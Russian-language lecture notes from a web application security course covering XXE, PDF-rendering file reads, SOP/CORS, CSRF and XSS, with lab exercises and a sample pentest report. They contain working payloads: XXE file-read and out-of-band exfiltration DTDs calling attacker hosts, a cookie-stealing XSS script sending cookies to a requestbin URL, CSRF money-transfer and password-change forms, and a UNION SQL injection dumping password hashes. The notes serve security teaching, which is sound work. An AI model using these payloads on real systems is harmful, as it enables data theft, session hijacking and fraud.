# 12-16 Web Application Security Analysis (Advanced)
Лекции 1-6
https://hackmd.io/@Mart/HkNZarVn5
Лекции 7-11
https://hackmd.io/@Mart/B1TjpzKAc

# Занятие 12. Уязвимость XML External Entity.
Четверг, 25 августа 2022г., с 19:00 до 22:00 (МСК)
Изучение уязвимости XML eXternal Entity, защита от XXE. Изучение атаки PDF Rendering

https://hackmd.io/02cKRXSWQbyV2VB2li7h2A

## XML eXternal Entity (XXE)

## PDF Rendering

## XXE - OWASP A4 A05:2021-Security Misconfiguration

Старые или плохо настроенные XML-процессоры обрабатывают ссылки на внешние сущности внутри документов. Эти сущности могут быть использованы для доступа к внутренним файлам через обработчики URI файлов, общие папки, сканирование портов, удаленное выполнения кода и отказ в обслуживании.

## XML

DTD - document type difinition (типы данных)
**Как устроены данные**

Теги начинаются с <recipe > </recipe>
Атрибуты в теге - имя без ковычек,
Значение пишутся с " двойными кавычками"

Комментарий

<!-- открываются

--> закрываются

## XML - Entity (Сущности)

Entity - своеобразные переменные XML.

Виды (сущности):

- встроенные
- внутренние
- внешние

## XML - встроенные Entity


Символ Entity
< &lt;
> &gt;
& &amp;
’ &apos;
" &quot;

парсер который парсит на пхп

<?php



$x = new SimpleXMLElement(file_get_contents('test.xml'));
var_dump($x);
echo $x->fefe;
?>


## XML - встроенные Entity Пример:

<?xml version='1.0'?>
<element>fooo&lt;test&gt;   &#51; &#x34;</element>

## XML - внутренние Entitry

<?xml version='1.0'?>
<!DOCTYPE element [
<!ENTITY name  "cth" >]>  
<element><xxx>Hello, &name;</xxx></element>

ENTITY - dtd

сущности имеют формат **&name;**

## XML - внешние Entity
Добавляем в ДТД сущность ENTITY
Cущности имеют формат &name;

SYSTEM - означает что сущность внешняя
....

<?xml version='1.0'?>
<!DOCTYPE element [
<!ENTITY name SYSTEM "file:///etc/passwd" >]>
<element><xxx>Hello, &name;</xxx></element>

Можем указать юрл, путь к файлу; используем схему файл для чтения локальных данных.
После распарсивания будет подставлено - **etc/passwd**

PHP парсер по умолчанию не уязвим к атаке, его надо специально настроить

**Чтобы стал уязвимым надо добавить опцию**
- LIBXML_NOETN

## XML eXternal Entity (XXE) - раскрытие внешних сущностей.

XXE - уязвимость, заключающаяся в том, что парсер XML уязвимого приложения раскрывает внешние сущности в XML-документе, который контролируется атакующим. Может отправить сетевой запрос, на другой ресурс внетреней сети - будет ssrf через xxe.

ВНешние сущности позволяют один документ связать с другим.

**Защита** настроить парсер, чтобы он эти сущности не раскрывал.

## XXE Вектора атаки:

DoS
Local File Read
SSRF

## XXE - DoS пытаемся сделать отказ в обслуживании

<!DOCTYPE data [ 
<!ELEMENT data ANY> 
<!ENTITY a0 "dos" > 
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"> 
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;"> 
]> 
<data><xxx>&a2;</xxx></data>

добавится 8000 раз dos
В современном пхп не работает.

Если нашли где то загрузку xml , то можем попытаться сделать атаку. Потихоньку увеличивать сущности и нагрузку. ( Предварительно согласовать с заказчиком)

**Удобный дос для теста**

## XXE - чтение локальных файлов

http://csr8.psorokin.ru:8111/xxe-1.php

Идет изменение секрета

<?xml version='1.0'?>
<!DOCTYPE element [
<!ENTITY name SYSTEM "file:///etc/passwd" >]>
<element><xxx>Hello, &name;</xxx></element>

Добавим дтд и заголовок
сущность name с файлом etc/passwd
Добавили сущность name и прочитали файл etc/passwd
Можем читать файл (нет спец символов в этом файле)


В пхп - знак вопроса делает xml документ некорректным и парсер падает. Символ меньше и больще - падает парсер.

Бинарные файлы - если они большие, то через XXE не получится прочитать

Применяя фильтр можем прочитать файл, потому что инфа закодирована и нет спецсимволов.


ТАкая уязвимость часто встречается в JAVA
потому что парсеры джавы раскрывают сущности.

**HTTP - запрос**
в JSON прочитали нормально, но тут нет спецсимволов

Ошибки, потому что первой встречается эта строчка

## XXE - классификация

В зависимости от того, отображается ли результат обработки внешней сущности атакующему или нет, можно **выделить**:

- reflected XXE
- blind XXE (если ничего не отражается)

Существуют следующие **техники эксфильтрации** данных:

- прямой reflection (приложение само рефлектит)(базовый уровень эксплуатации)
- CDATA reflection
- error-based (вывод интересующей информации в сообщение об ошибке)
- out-of-band (отправляем данные из внутренней сети к нам на сервер)

## XXE - специальные символы

При чтении файлов, содержащих спец символы XML могут возникнуть проблемы - файл перестанет быть корректным XML документом.

Для PHP можно использовать схему php://filter для обхода.

## XXE - техника CDATA
Специальная секция внутри хмл документа, которая позволяет передавать некоторые спец символы
<пример CDATA>
`<![CDATA[Все что внутри отображается]]>`

Для чтения файлов с символами < и > можно использовать CDATA.

Мы читаем external.dtd который хранится на нашем сервере или загрузить на уязвимое веб приложение

data.xml:

<?xml version='1.0'?>
<!DOCTYPE element [
<!ENTITY % external_entity SYSTEM "http://adress_server/external.dtd">
%external_entity;
%all;
<!ENTITY name "hackeru" >]>
<element><xxx>Hello, &fileContents;</xxx></element>

%external_entity - параметризованная сущность с процентом пишется. Ее можно использовать в дтд.
Переменная в которой определяются другие переменные.

## XXE - техника CDATA

Для чтения файлов с символами < и > можно использовать CDATA.

**Cодержимое файла external.dtd**
external.dtd:

<!ENTITY % file SYSTEM "file:///tmp/secret.txt">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

Определяем 3 сущности - file, start, end
И еще одну сущность all, в которую подставляем хмл документ и в нем определена сущность file-content (она позволит прочитать файл)

Создаем файлик cdata и с помощью питона раздаем на порту

Если 2 одинаковые сущности , то будет читать 1
В такой ситуации мы не сможем прочитать файл, если в нем есть одинарная кавычка


Если в файле только одинарная и двойная кавычка - то прочитать сможем, в других случаях - нет.

Здесь поменяли местами кавычки и поэтому запрос не сломается

Файл с одинарной кавычкой мы прочитали, но тут sql инъекция
Но не сможем теперь прочитать файл с двумя кавычками.

Создавать ENTITY внутри ENTITY нельзя в рамках xml файла нельзя, но с внешнего файла загружать ENTITY можно


## XXE - техника CDATA

<!ENTITY % file SYSTEM "file:///tmp/secret.txt">
...
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

Содержимое файла подставляется в одинарные кавычки. Если в файле есть одинарные кавычки, ENTITY развалится и техника не сработает.

То есть такая техника позволяет эксфильтровать данные в которых нету либо двойных либо одинарных кавычек. Если есть и те и другие, техника не сработает.

## XXE - техника CDATA Итого:
Итого:

- подходит в случае reflected XXE.
- требует либо загрузки файла, либо доступа в интернет с машины
- подходит для чтения файлов с < и >, при этом все же не любых

## XXE - Error-based

Идея - вывести данные в сообщение об ошибки. Вариантов много, пример

request:

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/external.dtd">
    %ext;
]>
<message></message>

external.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

символ процента - &#x25




## XXE - Error-based - ограничения

Файл точно также как и в CDATA подставляется в одинарные кавычки и соответственно, если в файле содержатся одинарные кавычки, техника не сработает.

Можно эксфильтровать данные в которых нету либо двойных, либо одинарных кавычек. Если есть и те и другие, техника не сработает.

## XXE - Error-based

Если целевая машина не ходит в интернет и нет возможности загрузки файлов, можно воспользоваться DTD-файлами, которые уже есть на системе.

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

https://github.com/GoSecure/dtd-finder/blob/master/list/xxe_payloads.md

#x27 - одинарная кавычка закодированная

Проверка есть ли ...


## XXE - Out-of-band
в этой технике отправляем себе на сервер

Пример:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "external.dtd">
<data>&send;</data>
external.dtd:

<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;

Ошибка - потому что URL имеет некорректную сруктуру - перенос строки
убираем перенос строки

Надо зарезолвить send


Данные улетят на http://publicServer.com. Скорее всего прочитает только **первую строку** файла.

## XXE - Out-of-band вектора для XXE

Payloads all the things https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
FTP trick http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html - работает в определенных версиях JAVA (дя этого надо поднять сервер ftp в который будет выводится куссочки инфы)

# XXE - Java

Позволяет получать содержимое директорий.
И джава выведет список файлов директории.

<?xml version='1.0'?>
<!DOCTYPE element [
<!ENTITY name SYSTEM "file:///etc/" >]>
<element><xxx>Hello, &name;</xxx></element>

# XXE - Out-of-band - ограничения

те же самые - с кавычками , символами меньше/ больше

## XXE - Защита

Отключить раскрытие внешних сущностей, или парсинг DTD полностью.

Способ зависит от парсера.
В большинстве парсеров отключены по умолчанию, исключение - Java.

## XXE - Защита Java

Для стандартного парсера Java:

dbf = javax.xml.parsers.DocumentBuilderFactory.newInstance()
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
Document document = db.parse(<XML Source>);

## PDF Rendering

В случае, если веб-приложение генерирует PDF документ на основе HTML и этот HTML контролируется атакующим, атакующий может заставить веб-приложение выполнить запрос или подключить локальный файл.

## PDF Rendering проверка наличия уязвимости

Для проверки наличия уязвимости можно подключать картинки с помощью тэга img.
(c помощью него мы сможем подключить локальный файл или выполнить хттп запрос - библиотека должна пойти по ссылке )
## PDF Rendering task

< CTF ZONE Task >
docker-compose pull
docker-compose up --no-build


## PDF Rendering Вектора атаки:

Вектора атаки:
Читаем локальные файлы:
Узнаем какие библиотеки есть - cat вызываем пдф и в метданных может отображаться название / 2 способ - смотреть картинку ( определить по квадратику с крестиком - ошибка картинки)

**weasyprint Local File Read:**
`<link rel=attachment href='file:///etc/passwd'>`
Далее генерим пдф
 - смотрим прикрепленные файлы, которые можем скачать (они содержатся в пдф)
Сейчас совсем зафиксили -по умолчанию. Но надо тестить - встречаются старыее версии библиотек

**mPDF Local File Read:**
`<annotation file="dev.php" content="xxxx" icon="Graph" title="Attached File: xxxx" pos-x="195" />`

**wkhtmltopdf Local File Read:**

- iframe:
`<iframe src=/etc/passwd></iframe>`
- ajax requests
- etc.

## Описание уязвимостей - отчеты

- Уровень опасности
- Адрес
- CVSS
- CVSS-вектор
- Описание
- Пример эксплуатации
- Рекомендации

### CVSS

Для рассчета используются калькуляторы:
https://www.first.org/cvss/calculator/3.0


Пример отчета в Bizone

SQL Injection

Уровень опасности: высокий

Адрес: http://csr8.psorokin.ru:8000/sqli_6.php

CVSS: 8.8

CVSS-вектор: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Описание:

Уязвимость к SQL-инъекции позволяет злоумышленнику внедрить в запрос к базе данных произвольный SQL-код и получить доступ к конфиденциальным данным, хранимым в базе данных, к возможности их изменения, а также к выполнению операций по администрированию СУБД. Уязвимость возникает из-за небезопасной подстановки пользовательских данных в формируемый SQL-запрос.

CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)

Пример эксплуатации:

Веб-приложение некорректно обрабатывает параметр title POST-запроса к ресурсу http://psorokin.ru:8000/sqli_6.php. Содержимое параметра конкатенируется с SQL-запросом что позволяет атакующему внедрить операторы SQL и изменить логику выполнения запроса.

Атакующий может применить технику эксплуатации SQL-инъекций Union based для получения доступа к информации, хранящейся в СУБД.

Пример запроса, приводящего к получению списка пользователей и хешей их паролей из таблицы users:

POST /sqli_6.php HTTP/1.1
Host: psorokin.ru:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Origin: http://psorokin.ru:8000
Connection: close
Referer: http://psorokin.ru:8000/sqli_6.php
Cookie: PHPSESSID=n5bd7uua5ht29hm148f0e2ms71; security_level=0
Upgrade-Insecure-Requests: 1

title=fewfew' UNION select 1,login,password,4,5,6,7 from users -- &action=search
Результат выполнения запроса приведен на скриншоте ниже

Получение списка пользователей и хешей паролей

Рекомендации по устранению:

Использовать Prepared Statements при формировании SQL-запросов;
Осуществлять валидацию входных параметров на соответствие ожидаемому формату;
Дополнительная информация по защите от данного типа уязвимостей приведена в документе OWASP.
Задания

на CTFd (http://psorokin.ru)
тест для самопроверки в LMS
Select a repo

Описать уязвимость которую нашли - ДЗ

# 13 занятие

https://hackmd.io/D4_x36Z3RJuyfG1YV8Nmrg

# SOP / CSRF

Вопросы по заданиям?

# Безопасность клиентской части веб-приложений

## Атаки на сервер

Атакующий напрямую взаимодействует с сервером, посылает запросы, смотрит ответы

## Атаки на клиента

**Браузер пользователя** - сложная программа, работающая по определенным стандартам и алгоритмам. Атакующий может заставить его действовать так как ему нужно.

## Атаки на клиента

В клиентской безопасности считается что пользователь кликает по ссылке атакующего, либо в его браузере уже открыта страница атакующего.

## Same Origin Policy

Origin

Origin - комбинация из 3-х значений:

Схема (http:// или https://)
Домен (www.example.com)
Порт (:80, :443 и т.д.)

## Same Origin Policy

Документы, загруженные с опредленного origin могут свободно взаимодействовать с веб-приложением или другими документами, если их origin полностью совпадает.

## Same Origin Policy

Совпадает ли ссылка ниже по origin с http://www.example.com/:
http://www.example.com/dir/page.html

Same Origin Policy

Совпадает ли ссылка ниже по origin с http://www.example.com/:
http://www.example.com/dir/page.html
http://www.example.com/dir2/other.html

## Same Origin Policy

Совпадает ли ссылка ниже по origin с http://www.example.com/:
http://www.example.com/dir/page.html
http://www.example.com/dir2/other.html
http://username:[e-mail]/dir2/other.html

Same Origin Policy

Совпадает ли ссылка ниже по origin с http://www.example.com/:
http://www.example.com/dir/page.html
http://www.example.com/dir2/other.html
http://username:[e-mail]/dir2/other.html
http://www.example.com:81/dir/other.html

Same Origin Policy

Совпадает ли ссылка ниже по origin с http://www.example.com/:
http://www.example.com/dir/page.html
http://www.example.com/dir2/other.html
http://username:[e-mail]/dir2/other.html
http://www.example.com:81/dir/other.html
https://www.example.com/dir/other.html

Same Origin Policy

Совпадает ли ссылка ниже по origin с http://www.example.com/:
http://www.example.com/dir/page.html
http://www.example.com/dir2/other.html
http://username:[e-mail]/dir2/other.html
http://www.example.com:81/dir/other.html
https://www.example.com/dir/other.html
http://en.example.com/dir/other.html

Same Origin Policy

Совпадает ли ссылка ниже по origin с http://www.example.com/:
http://www.example.com/dir/page.html
http://www.example.com/dir2/other.html
http://username:[e-mail]/dir2/other.html
http://www.example.com:81/dir/other.html
https://www.example.com/dir/other.html
http://en.example.com/dir/other.html
http://example.com/dir/other.html

С точки зрения веба - www это уже другой домен

Same Origin Policy

Совпадает ли ссылка ниже по origin с http://www.example.com/:
http://www.example.com/dir/page.html
http://www.example.com/dir2/other.html
http://username:[e-mail]/dir2/other.html
http://www.example.com:81/dir/other.html
https://www.example.com/dir/other.html
http://en.example.com/dir/other.html
http://example.com/dir/other.html
http://v2.www.example.com/dir/other.html

Same Origin Policy

Совпадает ли ссылка ниже по origin с http://www.example.com/:
http://www.example.com/dir/page.html
http://www.example.com/dir2/other.html
http://username:[e-mail]/dir2/other.html
http://www.example.com:81/dir/other.html
https://www.example.com/dir/other.html
http://en.example.com/dir/other.html
http://example.com/dir/other.html
http://v2.www.example.com/dir/other.html
http://www.example.com:80/dir/other.html

## Зачем нужен SOP? (на любом собеседовании по вебу)
Основной механизм безопасности в интернете.

Если бы не SOP, то:
Любая страница в браузере, которую пользователь посетил, могла бы получить всю информацию с вашего facebook, и даже что нибудь запостить от вашего имени.

Аналогично с ДБО, почтой и т.д.

## SOP - а что можно?

Можно отправлять запросы другим веб-приложениям. Но не любые, только «простые» (об этом чуть позже).

Но читать ответы нельзя. Браузер получит ответ, но прежде чем вернуть его javascript-коду, он поймет что это cross-origin запрос и заблокирует.

SOP

<Демонстрация отправки запросов evil.com/example.com>


Ошибка 404

Прочитали ответ

Отправляем с example.com на evil.com

Браузер заблокирован

Ответ пустой, браузер говорит что ориджин не такой

Вот так работает механизм защиты SOP (same origin policy) - безопасность обеспечивает браузер
Ответ получил, но не работает.

**Мы можем**
Можем отправлять простые запросы , но читать ответы нельзя.

## Cross-Site Request Forgery

## CSRF

Cross-Site Request Forgery

Атака, при которой атакующий перенаправляет пользователя (с помощью джава скрипта) на уязвимую страницу или выполняет AJAX-запрос на уязвимую страницу, а она выполняет определенные действия в веб-приложении.

Читать ответ атакующий не может, но иногда это не требуется.

Cross-Site Request Forgery
Классическая схема

Чтобы СSRF рабртало - надо чтобы была сессия.
С помощью джава скрипта отправляется запрос с переводом денег, но атакующий не сможет прочитать ответ.

## CSRF - GET и POST

Если целевая страница позволяет выполнить нужное атакующему действие по методу **GET**, то он может использовать прямую ссылку на целевой сайт. Атакующий кидает ссылку на сайт.

Если же требуется **POST**, то атакующему необходимо заманить жертву на свою контролируемую страницу, откуда с помощью Javascript выполнить запрос на уязвимую страницу.

## CSRF

Отправить запрос с одного Origin на другой можно следующими способами:

- Заполнение и сабмит формы (GET & POST)
- XMLHttpRequest/fetch (AJAX-запрос) (GET & POST)
- Как ссылку на ресурс (например, `<img src="http://vulnerable.all/delete_account" >`), так можно только GET.

CSRF - форма

<html>
<form action="http://victim.ru/send_money" method=POST>
<input type="text" name="account" value="123">
<input type="text" name="amount" value="10000">
<input type=submit>
</form>
<script>document.forms[0].submit()</script>
</html>

CSRF - XHR

<html>
<script>	
	var xmlHttp = new XMLHttpRequest();    
	xmlHttp.open("POST", "http://victim.ru", false);
    xmlHttp.withCredentials=true;    	
    xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xmlHttp.send("account=123&amount=10000");
</script>
</html>

CSRF

Демонстрация bwapp.
http://csr8.psorokin.ru:8000/csrf_1.php

Создаем 2 пользователей

Отправляем запрос на смену пароля


Cybered1 пытается поенять пароль cybered2

**Куки ставятся на домен**

Можем отправить ссылку со страничкой, которую должна посетить наша жертва.

<html>

<img src='http://csr8.psorokin.ru:8000/csrf_1.php?password_new=123123&password_conf=123123&action=change'>

</html>


Запрос улетел, при этом подставлена браузером - кука.


СSRF на изменение секрета

Делаем хтмл документ, который подсунем жертве



Запрос изменен, кука подставлена


Редиректнул автоматически и изменил секрет.

<html>
<form action=http://csr8.psorokin.ru:8000/csrf_3.php method=POST>
    <input name=secret value="You are hacked">
    <input name=login value="cybered2">
    <input name=action value="change">
    <input type=submit>
</form>
<script>
    document.forms[0].submit();
    </script>

</html>

В платном бурпе - generate csrf

## CSRF AJAX XHR
Улетел запрос без куки, теперь добавим в код инфу

Отправляется запрос с куками
у пользователя поменялся секрет - запрос улетел, но ответ нельзя прочитать


В текущем домене прилетела кука.
Если path/ совпадает то кука прилетит. - /path передает на все подпути.

<html>
<h1>Hello</h1>
<script>    var x = new XMLHttpRequest();    x.open("POST","http://csr8.psorokin.ru:8000/csrf_3.php",false);    x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");    x.withCredentials=true;    x.send("secret=You+are+hacked&login=cybered2&action=change");
</script>

</html>

Практика в Банке Нолик.
http://csr8.psorokin.ru:8131/login.php
http://csr8.psorokin.ru:8132/

<html>
<h1>Hello</h1>
<script>
	var x = new XMLHttpRequest();
	x.open("POST","http://csr8.psorokin.ru:8131/send.php",false);
	x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	x.withCredentials=true;
	x.send("to=mm&amount=200&message=change");
</script>

</html>



hackeru{where_is_my_money}



2 вектор 

<html>
<form action=http://csr8.psorokin.ru:8131/send.php method=POST>
    <input type="text" name="to" value="mm">
    <input type="text" name="amount" value="111">
    <input type="text" name="message" value="aldmal">
    <input type=submit>
</form>
<script>
    document.forms[0].submit();
    </script>

</html>

Удалось перевести 111 рублей 

docker run –p 5555:80 cth123123/page_hosting

## CSRF - защита

- Проверять заголовок Referer (не рекомендуется) (он позволяет следить за пользователем) - есть расширения для браузеров, которые этот заголовок блокирует
- CSRF токены
- SameSite Cookie
- Требовать чтобы все запросы к защищаемому функционалу были «сложные» с точки зрения CORS.

Referer
Referer-Policy - не будет заголовка referer

**Плохие методы защиты**
https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
(нашли csrf - и в отчете писать - а подробнее смотрите по ссылке в читщитах)

**Общая рекомендация по защите**:

Весь защищаемый функционал делать доступным с помощью методов POST или PUT (отличных от методов GET)

CSRF - защита

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

## CSRF токены (cамый надежный метод защиты от CSRF)

Строка из случайных символов, которая:

- Связывается с сессией пользователя
- Ставиться как ‘hidden’ параметр в форму
После сабмита формы, веб-приложение проверяет соответствие токена, полученного из формы с тем, который установлен в сессии.

Атакующий не может получить информацию из скрытого поля. ( потому что ему мешает ответ)

Образовался еще один инпут - СSRF token

Установка токена

Проверка токена на корректность

**Сильная и стабильная защита от СSRF**

Фактически в вебе - много чего подвержено СSRF
(в рамках анализа защищенности веб приложения - часто встречаются, потому что разрабы забывают)
Надо проверить все возможные механизмы защиты - убедится что нет возможности провести СSRF

## CSRF токены

**Double Submit Cookie** - подход, который позволяет не хранить CSRF токен в базе. Это нужно чтобы не ходить в базу и не читать файлы.

При аутентификации пользователю устанавливается Cookie с CSRF токеном (или с его производной, например, зашифрованным токеном). ( у атакуещего нет возможности забрать токен из куки)

При запросе формы, веб-приложение берет токен из Cookie и добавляет в hidden поле. (также можно хеш и HMAC от него)

## CSRF токены Как часто генерировать:

Как часто генерировать:

- Для каждой формы генерировать новый токен (редко использ подход - реализован в банке нолик)
- Использовать один токен на сессию (чаще используется) - удобнее подход и его используют

## SameSite Cookie - атрибут куки


Параметр SameSite может принимать два значения: **strict и lax**.

**strict** – Браузер никогда не передает cookie при кросс-доменных запросах. Недостаток связанный с юзер экспририенс. Браузер не отправил куки с яндекса в вк.

**lax** - передает для «безопасных» методов: GET, HEAD, OPTIONS и TRACE.

Если **SameSite** не установлен то в Chrome lax, в FF - none. ( от CSRF хром защищен от большинства случаев)

## SameSite Cookie

У SameSite свой “SOP”. Если домен по same-site совпадает, то кука отправляется.

Кука будет отправляться даже если на ней стоит SameSite с домена A на домен Б если:

- общие правила для кук выполняются (domain с wildcard, например *.yandex.ru)
- Кука установлена на уровне eTop Level Domain +1 или выше.
(то есть кука с domain=.yandex.ru будет отправляться на admin.yandex.ru, а кука с domain=.spb.ru не будет отправляться на admin.spb.ru).

## Strict

Нажали еа ссылку и оказались разлогиненными

Если .....


## “Сложные” запросы

Обсудим сначала что такое CORS

Cross-origin resource sharing

## CORS

Существуют случаи, когда разработчикам удобно разрешить чтение ответов с определенного origin другим веб-приложениям.

## CORS

HTTP-заголовок разрешает страницам в origin «evil.com» чтение ответов этой страницы

Access-Control-Allow-Origin: http://evil.com

## CORS

Access-Control-Allow-Origin: * (разрешение, чтение для другого ориджин)

Не опасно, т.к. браузеры никогда не подставят Cookie в запросы с A-C-A-O: *.

## CORS

Разрешение на передачу Cookie:
Access-Control-Allow-Credentials: true

Разрешение на передачу заголовков
Access-Control-Allow-Headers: <header-name>

**“сложность” запросов**

Простые запросы - запросы, которые не требуют дополнительного разрешения от сервера при CORS.

Это HEAD, GET, POST запросы без нестандартных заголовков и со стандартным Content-Type

Можно считать, это те запросы которые можно отправить с помощью HTML-формы.

“сложные запросы”

## Сложные запросы проходят в 2 этапа.

Сначала браузер выполняет запрос **OPTIONS** с информацией о «нестандартности запроса». В котором браузер говорит - можно ли отправить запрос с таким то содержимым.

И если получены разрешения на все «нестандартности», то уже будет отправлен основной запрос.
**Делается в 2 шага**

Наш браузер спрашивает (в Accept-Control) разрешение на отправку у сервера.
можем ли читать юзер - да можно
Потом можно прочитать Headers.
Мы вызвали метод http request

x = new XMLHttpRequest();

x.open("GET","http://csr8.psorokin.ru:8131/cors2.php",false);

x.withCredentials=true;

x.send();

## CORS - небезопасная конфигурация

- Заголовок Access-Control-Allow-Origin ответа копируется из заголовка Origin запроса.
- В ответе есть Access-Control-Allow-Credentials: true
- Сессии сделаны на основе Cookie или не требуются.
Тогда любое приложение в интернете может обращаться к уязвимому приложению и читать ответы.


## Защита от CSRF - “Сложные” запросы

Наличие нестандартных заголовков или использование нестандартного Content-Type приводит к тому, что браузер перед запросом отправляет preflight – OPTIONS запрос.
Если веб-приложение не даст разрешение на эти действия, то браузер не отправит основной запрос.

**НО**, к сожалению есть Flash, который при 307 редиректе перенаправляет весь запрос вне зависимости от его «сложности».

С помощью **text/plain** можем отправить произвольный json

Загрузка файлов - multi-part/formdata

Задания

на CTFd (http://psorokin.ru)
тест для самопроверки в LMS

One more - есть бот, который идет по ссылка и он аутен в этом прилож и он зашел под именем админ, надо цсрф и зайти под админом

Root-me

# Занятие 14. Cross-origin resource sharing. Cross-Site Scripting.
Четверг, 01 сентября 2022г., с 19:00 до 22:00 (МСК)
Чтение ответов с определенного origin (CORS). В контексте origin приложения выполнять Javascript-код (XSS). Кража cookies, модификация dom-дерева, изменение компонентов веб-страницы
https://hackmd.io/6m3P2CazQmaiUVn9d5-nxw

## Cross-Site Scripting

## XSS

OWASP A7

XSS имеет место, когда приложение добавляет непроверенные данные на новую веб-страницу без их соответствующей проверки или преобразования, или когда обновляет открытую страницу через API браузера, используя предоставленные пользователем данные, содержащие HTML-или JavaScript-код. С помощью XSS злоумышленники могут выполнять сценарии в браузере жертвы, позволяющие им перехватывать пользовательские сессии, подменять страницы сайта или перенаправлять пользователей на вредоносные сайты.

Cross-Site Scripting

Атака, при которой в контексте origin приложения выполняется Javascript-код, контролируемый атакующим.

Cross-Site Scripting

Атака, при которой в контексте origin приложения выполняется Javascript-код, контролируемый атакующим.

## XSS

Внедренный Javascript-код будет выполняться в контексте того же **origin**, что и целевое веб-приложение.

Внедренный Javascript может свободно обходить все ограничения SOP и выполнять любые действия в веб-приложении от имени пользователя.

## XSS Позволяет атакующему:

Позволяет атакующему:

- Украсть Cookie
- Украсть данные
- Модифицироовать DOM-дерево, изменить внешний вид и логику работы компонентов веб-сраницы
- Выполнить произвольные действия в веб-приложении от имени жертвы
<Быстрый пример на кражу Cookie>
<Полный обзор после подробного обсуждения причин возникновения>

https://requestbin.net/
Когда это выполнится - браузер отправит куки
Получаем доступ к уязвимому приложению с правами жертвы.
Скрипт + то что написали - сработала атака
Жертва открыла страничку и отправила куки к нам. Дальше мы можем войти под его сессией.

   <script>i = new Image(); i.src='http://mz6zbpdt0klbesfa.b.requestbin.net/?cookie='+document.cookie;</script>
    

На пентесте - хорошо использовать эту уязвимость. Можно попасть куда-нибудь. Через форму обратной связи.

Проверка, при прогулке по страницам - можем наткнуться на эти запросы (свои)
`<script>print()</script>
<script>alert(1)</script>
`

## XSS Чаще всего возникают при:

Чаще всего возникают при:

- Инъекции в HTML
- Загрузке файлов произвольного типа

## XSS alert(1)

При тестироввании приложения на XSS удобно использовать скрипт, выполнение которого легко заметить. Как правило используется:

alert(1)

XSS

Пример XSS bWAPP

## HTML-injection (уязвимость)

http://csr8.psorokin.ru:8141/


Контексты внедрения:

Внедрение внутрь тега
Внедрение в атрибут тега
Внедрение в блок <script>

В href тэга `<a>`

## HTML-injection

"> - закрыли тег и вырвались за пределы

**Пример 2**
Не можем вырваться из тэга

Чтобы добится выполнения javascript -
onmouseover="alert(1)" on xxx="zzz
feafewafea" onfocus="alert(1)" autofocus xxx="zzz


**даже не выбираясь из тэга мы можем добится выполнения кода**

**Cборник Какие аттрибуты каких тегов, позволяют выполнить код на javascript** (Нашли инъекцию в непонятный тег, то тут удобно посмотреть вектора)

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet


http://csr8.psorokin.ru:8141/attribute_xss_task.php


2 Инъекция

fewafeawfewa</script><script>alert(1)</script>

Если встречаем сlient-side уязвимости - надо проверять POC


Раз есть else, значит должен быть if

<знакомимся с тренировочным приложением>

HTML-injection

Внутри тэга

`<div>$_GET[‘name’]</div>`
Вектор атаки:

`name=<script>alert(1)</script>`
HTML-injection

Атрибут тэга

`<input value="$_GET['name']"></div>`
Вектора атаки:

name="><script>alert(1)</script>
name=xx" autofocus onfocus="alert(1)" xx="

Найти вектора может помочь Portswigger XSS CheatSheet

HTML-injection

Тэг `<script>`

`<script>var x=“$_GET[‘name’]”; …`

Вектор атаки:

name=“;alert(1);var z=“
Важно оставить скрипт синтаксически верным.

## HTML-injection

Тэг `<a>`

`<a href="$_GET['url']">Link</a>`
Атака:

url=javascript:alert(1)


Если веб приложение позволяет указать ссылку - в его браузере выполнится код

## XSS “Классическая” классификация:

“Классическая” классификация:

- Отраженные
- Хранимые
- DOM-based

## Отраженные XSS

Веб-приложение небезопасно выводит в тело страницы параметр, полученный из самого запроса. Значение этого параметра не сохраняется в веб-приложении.

Пример bwapp

## Хранмые XSS

Веб-приложение небезопасно выводит в тело страницы сохраненный (например, в БД) параметр. Этот параметр был ранее получен веб-приложоением и контролировался атакующим.

Пример bwapp
Данная XSS чуть опаснее, потому что она хранится.

## DOM-based XSS

Небезопасное управление DOM уже существующим в странице Javascript-кодом может привести к выполнению кода, контролируемого атакующим.

Пример

Опасные функции javascript в стандартном HTML

https://hackmd.io/7fhPi98LSimgdSOIlOtK9g

DOM-based XSS

Могут возникать при использовании библиотек, которые напрямую модифицируют DOM.
А также при Prototype Pollution.

## XSS в React

React в основном не позволяет допустить XSS. Но есть ряд способов обратится к элементам дом дерева на прямую.

- dangerouslySetInnerHTML
- findDOMNode
- createRef


XSS в React

Подробнее:

1 https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part1.html
2 https://pragmaticwebsecurity.com/articles/spasecurity/react-xss-part2.html
